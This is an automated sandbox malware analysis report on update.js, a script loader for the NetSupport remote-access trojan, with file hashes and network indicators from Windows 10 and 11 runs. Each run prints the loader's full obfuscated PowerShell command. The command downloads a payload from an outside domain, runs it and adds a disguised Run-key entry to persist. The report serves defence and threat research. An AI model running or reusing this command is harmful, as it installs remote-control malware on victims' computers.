Malware Analysis Report

2024-10-19 01:40

Sample ID 240205-y47dwafff6
Target update.js
SHA256 d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1
Tags
netsupport persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1

Threat Level: Known bad

The file update.js was found to be: Known bad.

Malicious Activity Summary

netsupport persistence rat

NetSupport

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Adds Run key to start application

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-02-05 20:21

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-02-05 20:21

Reported

2024-02-05 20:52

Platform

win10-20231215-en

Max time kernel

905s

Max time network

1750s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-655921741-723621465-1580683668-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-132\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ghostcitygames.com udp
RU 91.219.150.112:443 ghostcitygames.com tcp
US 8.8.8.8:53 112.150.219.91.in-addr.arpa udp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
MD 5.181.156.45:443 tcp
US 172.67.68.212:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 45.156.181.5.in-addr.arpa udp
US 8.8.8.8:53 212.68.67.172.in-addr.arpa udp
US 8.8.8.8:53 150.1.37.23.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 89.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 183.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp

Files

memory/2564-4-0x00000198EF020000-0x00000198EF042000-memory.dmp

memory/2564-5-0x00007FF93B4F0000-0x00007FF93BEDC000-memory.dmp

memory/2564-7-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp

memory/2564-9-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp

memory/2564-10-0x00000198EF7A0000-0x00000198EF816000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vxjfphq.cei.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/2564-25-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp

memory/2564-44-0x00000198EFC70000-0x00000198EFC82000-memory.dmp

memory/2564-43-0x00000198EF780000-0x00000198EF78A000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX-132\PCICL32.dll

MD5 46ac25f90f99c36eee89c6428c458e03
SHA1 17ac288d3264848ec0d2c62245395a076a4deb61
SHA256 30009b8d74469cf7e1547ebbb50c8a58e8e71184c5745d0894b6bf7876634fb8
SHA512 81c47f9de0a5ad15b3d70d52fe2d81af456ac437424ac0fc045369a866478c6f9cadeea8324d7ba1a39fd689bba335682c5243147a0307de80031b76a05d4ab2

C:\Users\Admin\AppData\Roaming\DIVX-132\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX-132\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

\Users\Admin\AppData\Roaming\DIVX-132\HTCTL32.DLL

MD5 bfdfbecdece75524459161cd1414d1f4
SHA1 f6b4bc83ea1c5d8913ad028910ad8718b4e5502c
SHA256 49b857176a28582aa52522fd1ff902d9201cc7b59199e99f911ed7bba6d52d32
SHA512 575aede1ad6d474223c565543f676d3c2b4b672bbce1bc29240031d82300308482ef1690b81ab8d3d910be5894c2691274cebf726052f3c83b78044c7e19d696

C:\Users\Admin\AppData\Roaming\DIVX-132\HTCTL32.DLL

MD5 701b07d883b3cfc443f863f657ef91fc
SHA1 db3b5d9a66bd8dbc70b3b764884260f31670fd99
SHA256 2aba690848a5c26ba76aa819be68acfd4f8f45e198be8c69c54e11be27051319
SHA512 f075b814235b15bd21898df8e481403c665ef689c6b2db80a940717337e8ca50e978a742b399c2303f4da22870f8046e9817059cd8bedf5e47a5848d0fb53f6b

memory/2564-115-0x00007FF93B4F0000-0x00007FF93BEDC000-memory.dmp

\Users\Admin\AppData\Roaming\DIVX-132\msvcr100.dll

MD5 0fc486f7851e56d2f6a6ca5ee704b696
SHA1 f7edfdc0a528d2257774c6f65be23b5de4c96daf
SHA256 5f22eaa3a87c50418c7a6edbc2f8144112557fcf1628caff9963d281d4917f6e
SHA512 d287ff5ce829c973061dc31d16f9b94f600b2193c48c3246fadfb534e3c1030433c855eec3ec00ec50ce9d603879d104786fc935e0f28c9e77be9808fd5d956e

\Users\Admin\AppData\Roaming\DIVX-132\msvcr100.dll

MD5 5904e8bc02bdb968ce0f36018ee41876
SHA1 10d8500b76946b8190185d16534142597be4187a
SHA256 8ef3f764dbf46eea25078036b64abd18122f19bb0592a390a5de215fdf168371
SHA512 869661bc36ecb2bba835e2fa1f7f31c50c80b3aeb2ef5ef5b019873988c7626fc7e3a26b5dc8623dda6804422f687332366171dde0c6e82fe8c6190f710aaa65

\Users\Admin\AppData\Roaming\DIVX-132\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\DIVX-132\MSVCR100.dll

MD5 9f5a1903e17e2ae5d3294859473321cb
SHA1 7355bab77513c997643f91e31edae362a836ab85
SHA256 b532a25737064102d15f4e4a5a2c65005e299b4118346629ee9d24bea5e2fd92
SHA512 a728165772f492d8f10ae3e8eecf6959f24f0cd724f0e514e14184810c2880bc1bfed95f85ec6c802d8f7a8f7c69bebd4a4e3b2c3c015636d0b8f4b0cb065125

\Users\Admin\AppData\Roaming\DIVX-132\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

\Users\Admin\AppData\Roaming\DIVX-132\PCICL32.DLL

MD5 62703ad10798556d14171949171d9719
SHA1 5258877885c662a50cc45175c18e78a3ceaa5cb0
SHA256 975920b0103a9ddd24c0bbad4c98d3ef2536765dec0da1360f61ad02369bc703
SHA512 36f77e6f0cc9090bc82ac9b1b432483723b0b8f8b0490491a3b2f5705861671b561cbc8d19a465f3fde80c84eacc2ce2912d8bfd75a60ea3dc59def28511677b

C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Analysis: behavioral2

Detonation Overview

Submitted

2024-02-05 20:21

Reported

2024-02-05 20:54

Platform

win10v2004-20231215-en

Max time kernel

605s

Max time network

1748s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX564\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ghostcitygames.com udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
RU 91.219.150.112:443 ghostcitygames.com tcp
US 8.8.8.8:53 198.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 112.150.219.91.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
MD 5.181.156.45:443 tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 104.26.0.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 45.156.181.5.in-addr.arpa udp
US 8.8.8.8:53 231.0.26.104.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 140.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 210.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 208.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 168.117.168.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv3cwjt0.z04.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1700-9-0x0000020258920000-0x0000020258942000-memory.dmp

memory/1700-10-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp

memory/1700-12-0x00000202589C0000-0x00000202589D0000-memory.dmp

memory/1700-11-0x00000202589C0000-0x00000202589D0000-memory.dmp

memory/1700-15-0x00000202589A0000-0x00000202589B2000-memory.dmp

memory/1700-14-0x0000020258970000-0x000002025897A000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.dll

MD5 c9fcf40afdacef88cdc9b19cfc8816e2
SHA1 33aa62faef55a8d487ea360bb1f6d034baff7251
SHA256 37192862a8a143c264353b1e0590d0c5f106bd87a261b884578036c61ff0ef86
SHA512 8ff79573029a0386b9a27227800740dd473b119a05a0cbaa3daecdc9f442af8c83734ac68b40030517f03f0344668afe5f5e11a42835f45687ff2e7505e6fa47

C:\Users\Admin\AppData\Roaming\DIVX564\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

memory/1700-82-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll

MD5 90374446d87c00de5565448622e6604d
SHA1 bb4ca20c1c5d9e77cffed5d9c5fe84ad1fa93eee
SHA256 f40fee2991c35c6c12c49968f23d66c3b74f36bf27cbf1bfa193056302e20217
SHA512 179dd00cd5fa236a1a4a55c16f6a846e1efa34f43d1eb6a54cb982a785f0f412a4d113eddb15fe675aa66c3d6cccd15648741a077f035f55e36b6524e93f1e36

C:\Users\Admin\AppData\Roaming\DIVX564\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX564\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll

MD5 4b8a85f618827549451e2f3d9637f7be
SHA1 7a9a315ed333f80e0dd4c955a72544e12e76e571
SHA256 457b93f151da3d5c6bfc9868f37965266d12167ec58eedcc395941fc41dd816d
SHA512 1984b0e14c6441d57c1dd4017f1a4d1ca11ca5d455a5395ffc7800ca27e03e9c3fed3b540c943fc11f124adbee584d40d33405f61c25cf6d4466e5a5775069b9

C:\Users\Admin\AppData\Roaming\DIVX564\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

C:\Users\Admin\AppData\Roaming\DIVX564\MSVCR100.dll

MD5 97f886815bc7406255ec08a3d4485c07
SHA1 f6f6e2df3079a586b83435a6a7fb2e229bd0980e
SHA256 093241f3dc43cd8da79aa9bd179d8e9b3fe25968aa0714406fe7c499f14e5270
SHA512 718f87e456447442c74379968e3abe734ea66dd460238fb9cf9869ea0d12193a219d2eec01398804e24ccca392dc7f85508b48931f3f0bb3cc0634a01cfa2c93

C:\Users\Admin\AppData\Roaming\DIVX564\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.DLL

MD5 050e7430a9b6d02b979f72b8314e77ac
SHA1 a3cba20a4ecc1dbb844ace2ea84a8c92acd19254
SHA256 c92ec3058b412754bd1733db26787a12f43e05fcfb266041d8f7146db9c66655
SHA512 b3393a89f8b722efaf499cbc5783013e542d6b32555a7c1639c8b6a36ac5691df39eabf6025bb0ae6f8769e60f1e0118205e5f81c1eecc0ab7bd79385dfd1f0d

Analysis: behavioral3

Detonation Overview

Submitted

2024-02-05 20:21

Reported

2024-02-05 21:18

Platform

win11-20231215-en

Max time kernel

606s

Max time network

1754s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3632047111-1948211978-3010235048-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-414\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ghostcitygames.com udp
RU 91.219.150.112:443 ghostcitygames.com tcp
US 8.8.8.8:53 112.150.219.91.in-addr.arpa udp
MD 5.181.156.45:443 tcp
US 172.67.68.212:80 geo.netsupportsoftware.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cq0rwyu5.yoq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3784-8-0x00000185740A0000-0x00000185740C2000-memory.dmp

memory/3784-9-0x00007FFD5FDC0000-0x00007FFD60882000-memory.dmp

memory/3784-10-0x0000018572150000-0x0000018572160000-memory.dmp

memory/3784-11-0x0000018572150000-0x0000018572160000-memory.dmp

memory/3784-12-0x0000018572150000-0x0000018572160000-memory.dmp

memory/3784-15-0x0000018574130000-0x0000018574142000-memory.dmp

memory/3784-14-0x0000018574090000-0x000001857409A000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX-414\PCICL32.dll

MD5 97a09fb8d4d01659639ca6248075abf5
SHA1 2eb7edb052ac8776edfe422f4d58e6ca29b246aa
SHA256 174c6fd0d92ea474c5de73135ccede46420da09e28ff0bfeeaa1b8e3d983eea7
SHA512 e80df0dce370c009bb71d38204d558acc0c4c99463bf14ddd72afe1fa0df69724bcc1219516cf70fa757a1ad5d5e08fc6fade6ad7c6503da54a2af9703c44045

memory/3784-74-0x00007FFD5FDC0000-0x00007FFD60882000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX-414\PCICL32.DLL

MD5 740c9f575ba186128f6cfe97e4cafcf5
SHA1 fc391e6df6da78d031c08ef746ae08ff7e9e197f
SHA256 0bd2f372ba1413dd7a88d65ed7c11921eb0abd48364757ef6891625e9066ced6
SHA512 cafac27c599b8cf2fc3a290969a38d31fe4560b634c58d058ada03b7a1a9ee0c0013cf9aa393d7732eb98defcdc970247f5cecb79b91115de032539856be1421

C:\Users\Admin\AppData\Roaming\DIVX-414\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\DIVX-414\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
